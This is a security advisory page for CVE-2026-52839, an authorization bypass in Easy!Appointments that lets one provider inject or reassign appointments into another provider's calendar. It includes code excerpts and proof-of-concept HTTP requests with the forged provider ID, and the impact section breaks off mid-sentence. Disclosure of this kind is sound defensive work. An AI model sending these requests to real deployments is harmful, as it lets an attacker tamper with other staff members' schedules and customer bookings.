🛡️ CVE-2026-52839 — easyappointments

🟢 CVSS 3.3 — Low ✅ No Known Exploit CWE-639 NVD
3.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.

Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

```php

// Appointments.php

if ($role_slug === DB_SLUG_PROVIDER) {

foreach ($appointments as $index => $appointment) {

if ((int) $appointment['id_users_provider'] !== (int) $user_id) {

unset($appointments[$index]);

}

}

}

```

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

```php

// Appointments.php line 74-152

if (cannot('add', PRIV_APPOINTMENTS)) {

abort(403, 'Forbidden');

}

$appointment = json_decode(request('appointment'), true);

```

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

```php

$this->appointments_model->only($appointment, $this->allowed_appointment_fields);

$appointment_id = $this->appointments_model->save($appointment);

```

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

```php

$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

```

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

```php

// Appointments.php line 178-196

if (cannot('edit', PRIV_APPOINTMENTS)) {

abort(403, 'Forbidden');

}

$appointment = json_decode(request('appointment'), true);

$appointment_id = $this->appointments_model->save($appointment);

```

A provider can reassign any appointment they can edit into a foreign provider's calendar.

Proof of Concept

Attacker: Provider with session ID 4

Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

```http

POST /index.php/appointments/store HTTP/1.1

Host: 127.0.0.1:18094

Cookie: <provider-4-session>

Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

```

Response: 500 Internal Server Error — type error on find()

But the row is committed:

```

id start_datetime id_users_provider notes

6 2026-05-29 15:00:00 2 foreign provider create by alicer

```

Provider 4 created a row that belongs to provider 2.

Step 2 — Reassign existing appointment to foreign provider:

```http

POST /index.php/appointments/update HTTP/1.1

Host: 127.0.0.1:18094

Cookie: <provider-4-session>

Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

```

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

```

attacker provider id: 4

foreign created appointment provider id: 2

reassigned appointment provider id: 2

provider-visible appointments: 0

PASS

```

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.

Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

  • Inject fake a

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

CVE-2026-52839 is classified as CWE-639: Authorization Bypass Through User-Controlled Key. An object is selected by an identifier from the request without checking the caller owns it.

Affected software

CVE-2026-52839 is recorded against 2 packages.

  • alextselegidis/easyappointments (fixed in 1.6.0)
  • unknown

Timeline and source

Published on 29 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity LOW
CVSS Score 3.3
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
CWE CWE-639
Public Exploit ✅ No
Source NVD
Published 2026-07-29
Updated 2026-08-12
Modified 2026-07-29
Fix URL N/A

Affected Packages

Software From version Fixed in
alextselegidis/easyappointments 1.6.0
unknown

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-52839?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-52839 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.